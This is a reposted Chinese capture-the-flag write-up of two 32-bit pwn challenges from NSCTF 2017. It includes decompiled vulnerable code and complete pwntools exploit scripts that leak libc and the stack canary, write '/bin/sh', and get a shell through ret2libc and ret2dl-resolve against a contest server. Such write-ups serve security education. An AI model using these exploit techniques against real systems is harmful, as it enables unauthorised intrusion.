nsctf php version,绿盟杯NSCTF（CCTF）2017 pwn writeup

转载

苏格拉晴 于 2021-03-21 14:43:45 发布 50 收藏
文章标签： nsctf php version

前言

比赛有无数值得吐槽的地方，其中最主要的是，题目给了pwn的libc，然而，特么是错的，也就是说虽然给了libc，但是其实还是靠运气/当做没有libc解，顺手记录一下这两个水题。

pwn1

分析

main

```
int __cdecl main()
{
alarm(0x1u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("[*]Put Your Name:");
do_main();
return 0;
}
```

do_main:

```
ssize_t do_main()
{
char buf; // [sp+10h] [bp-88h]@1
read(0, &buf, 0x100u);
return write(1, &buf, 0x100u);
}
```

逻辑很简单，read读取输入到栈上的buf，然后write输出，大小都是0x100，但是buf的大小是没有这么大的，所以存在栈溢出，题目的sec有：

```
[*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn1/pwn1'
Arch: i386-32-little
```

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

思路：

1. read导致溢出，然后控制返回地址指向read函数的位置，并且设置好参数，read到elf的data段，因为没有开启PIE，所以data段位置是固定的。之后的返回地址指向main的开始，再次进入main

2. 之后会先进入read函数，读入到data段，写入/bin/sh\x00字符串。

3. 再次进入main，这次控制返回地址先指向write函数位置，并且设置好参数，使得buf指向read在plt.got的位置，使得write将read的地址泄露出来，之后的下一步返回地址再次指向main的开始，再进入main

4. 第三次进入main，我们已经拿到了read函数的地址，计算得到libc的基地址，然后得到system地址，/bin/sh\x00的位置是我们自己在第二步写入的，所以已知，设置好参数，返回指向system即可

exp

```
from pwn import *

context(os='linux', arch='i386', log_level='debug')

DEBUG = 0

UBUNTU = 1

GDB = 0

if DEBUG:

p = process("./pwn1")

if UBUNTU:

libc = ELF("/lib/i386-linux-gnu/libc.so.6")

else:

libc = ELF("/usr/lib32/libc.so.6")

else:

libc = ELF("./libc-2.19.so")

p = remote('116.62.63.190', 8888)

def main():

if DEBUG:

offset = 0x1b2000

else:

offset = 0x1a2000
```

```
if GDB:
raw_input()
read_addr = 0x080483f0
write_addr = 0x08048440
do_main_addr = 0x0804854d
p.recvline()
payload_prefix = '/bin/sh\x00'.ljust(140, 'a')
payload = payload_prefix
payload += p32(do_main_addr)
p.send(payload)
raw_input()
recved = p.recv()
buf = 0x804a000
payload = payload_prefix
payload += p32(read_addr)
payload += p32(do_main_addr)
payload += p32(0) # fd
payload += p32(buf) # buf
payload += p32(8)
p.send(payload)
raw_input()
p.recv()
p.send('/bin/sh\x00')
raw_input()
read_plt_addr = 0x0804a010
payload = payload_prefix
payload += p32(write_addr)
payload += p32(do_main_addr)
payload += p32(1) # fd
payload += p32(read_plt_addr)
payload += p32(4)
```

```
p.send(payload)

read_in_libc = u32(p.recv()[-4:])

log.info('read in libc {}'.format(hex(read_in_libc)))

libc_base = read_in_libc - libc.symbols['read']

log.info('libc base {}'.format(hex(libc_base)))

system_addr = libc_base + libc.symbols['system']

log.info('system at {}'.format(hex(system_addr)))

raw_input()

payload = payload_prefix

payload += p32(system_addr)

payload += p32(0xdeadbeef)

payload += p32(buf)

p.send(payload)

p.recv()

p.sendline('cat flag')

p.recv()

if __name__ == "__main__":

main()
```

需要注意的点

libc好像不是很对，我只试过了read在plt.got中的偏移量泄露出来是对的，别的可能会不对，可以通过得到的libc base是不是页对齐来大致判断是不是对的

/bin/sh一定要有\x00，直接search /bin/sh没有\x00好像会有问题

因为alarm时间很短，所以没办法interactive，直接cat flag就可以，可以每次exp发一条命令，第一次先ls，然后就可以知道是不是有flag了。

write直接会给出一些地址，其中包括栈地址和与libc相近的地址，但是好像不太稳定，所以我才换了这种比较复杂的方法

read如果没有read完可能会把后面发过来的字符连在一块，中间用raw_input断开或者用sleep断开

pwn2

分析

main

```
int __cdecl main()

{
```

```
char v1; // [sp+1Bh] [bp-5h]@3
__pid_t forked_pid; // [sp+1Ch] [bp-4h]@8
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
write(1, "[*] Do you love me?[Y]\n", 0x17u);
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != 10 && v1 )
;
forked_pid = fork();
if ( forked_pid )
{
if ( forked_pid <= 0 )
{
if ( forked_pid < 0 )
exit(0);
}
else
{
wait(0); // parent wait
}
}
else
{
child_main();
}
}
```

```
return 0;
}
child_main
int child_main()
{
char *s; // ST18_4@1
int buf; // [sp+1Ch] [bp-1Ch]@1
int v3; // [sp+20h] [bp-18h]@1
int v4; // [sp+24h] [bp-14h]@1
int v5; // [sp+28h] [bp-10h]@1
int v6; // [sp+2Ch] [bp-Ch]@1
v6 = *MK_FP(__GS__, 20);
buf = 0;
v3 = 0;
v4 = 0;
v5 = 0;
s = (char *)malloc(0x40u);
do_input(&buf);
sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s);
puts("[*] Input Your Id:");
read(0, &buf, 0x100u);
return *MK_FP(__GS__, 20) ^ v6;
}
do_input
int __cdecl sub_804876D(void *a1)
{
size_t v1; // ST18_4@1
char s; // [sp+1Ch] [bp-4Ch]@1
int v4; // [sp+5Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
```

memset(&s, 0, 0x40u);

puts("[*] Input Your name please:");

__isoc99_scanf("%s", &s);

v1 = strlen(&s);

memcpy(a1, &s, v1 + 1);

return *MK_FP(__GS__, 20) ^ v4;

}

漏洞位置同样是栈溢出，还要多加上一个格式化字符串，开启的sec：

[*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn2/pwn2'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

这次有了canary，不过看见fork应该都明白了。。

思路1(失败)：

1. fork的canary是不会变的，通过格式化字符串拿到canary

2. 通过格式化字符串拿到got表中的函数地址，从而确定libc位置和system地址

3. 老办法，通过构造read去读入/bin/sh\x00到已知位置，然后回到一开始，再次读入，再次控制ip，设置参数跳到system

这个思路最后失败了，原因嘛，题目给的libc有问题，泄露got表函数之后得不到libc基地址，就得不到system地址

思路2(return to dl-resolve):

1. 同样方法泄露canary

2. 构造read读入/bin/sh\x00以及roputils构造的dl_resolve_data，然后回到一开始

3. 再次控制指针，通过dl resolve进入system

exp

由于我是从思路1直接改成的思路2，所以可能有些乱，注释掉的多半是思路1的代码。

```
from pwn import *
import roputils
context(os='linux', arch='i386', log_level='debug')
DEBUG = 1
```

```
GDB = 1
elf = ELF("./pwn2")
if DEBUG:
p = process("./pwn2")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("116.62.63.190", 8111)
libc = ELF("./libc-2.19.so")
def leak_canary():
p.recvuntil('[Y]')
p.sendline('Y')
raw_input()
p.recvuntil('please:')
p.sendline('%11$x')
raw_input()
p.recvuntil('game ')
canary = p.recvuntil('[*')[:-2]
canary = int(canary, 16)
log.info('get canary {}'.format(hex(canary)))
p.recvuntil('ld:')
p.sendline()
raw_input()
return canary
def leak_libc():
leaked_printf = leak(elf.got['read'])
log.info('leaked printf {}'.format(hex(leaked_printf)))
libc_base = leaked_printf - libc.symbols['read']
log.info('libc base {}'.format(hex(libc_base)))
return libc_base
def leak(addr):
p.recvuntil('[Y]')
```

```
p.sendline('Y')
raw_input()
p.recvuntil('please:')
payload = 'ABCD' + '%9$s' + p32(addr)
p.sendline(payload)
raw_input()
p.recvuntil('game ')
leaked_data = p.recvuntil('[*').split('ABCD')[1][:4]
leaked_exact = u32(leaked_data[:4])
p.recvuntil('ld:')
p.sendline()
raw_input()
return leaked_exact
def main():
if GDB:
raw_input()
rop = roputils.ROP("./pwn2")
canary = leak_canary()
#libc_base = leak_libc()
p.recvuntil('[Y]')
p.sendline('Y')
raw_input()
#system_addr = libc_base + libc.symbols['system']
read_in_plt = 0x08048888
read_in_plt = 0x08048570
back_to_read = 0x080487fa
buf = 0x804a120
#buf = elf.bss()
buf_dl_resolve = buf + 0x20
payload_prefix = 'a' * 16 + p32(canary) + 'b' * 12
payload = payload_prefix
```

```
payload += p32(read_in_plt) + p32(back_to_read) + p32(0) + p32(buf) + p32(0x100)
p.recvuntil('please:')
p.sendline('wtf')
raw_input()
p.recvuntil('ld:')
p.send(payload)
raw_input()
p.send('/bin/sh\x00'.ljust(0x20, '\x00') + rop.dl_resolve_data(buf_dl_resolve, 'system'))
#p.send('/bin/sh\x00')
raw_input()
payload = payload_prefix
payload += rop.dl_resolve_call(buf_dl_resolve, buf)
#payload += p32(system_addr) + p32(0xdeadbeef) + p32(buf)
p.recvuntil('please:')
p.sendline('wtttf')
raw_input()
p.recvuntil('ld')
p.send(payload)
raw_input()
p.interactive()
if __name__ == '__main__':
main()
```

需要注意的点

read同样需要用raw_input断开

dl_resolve_data写入的位置需要特别注意一下，可能需要多试几个位置，不能覆盖到bss有的内容，不能太奇怪，都会导致出现奇奇怪怪的seg fault，就是因为这个问题导致我差几分钟，没能A掉这个题..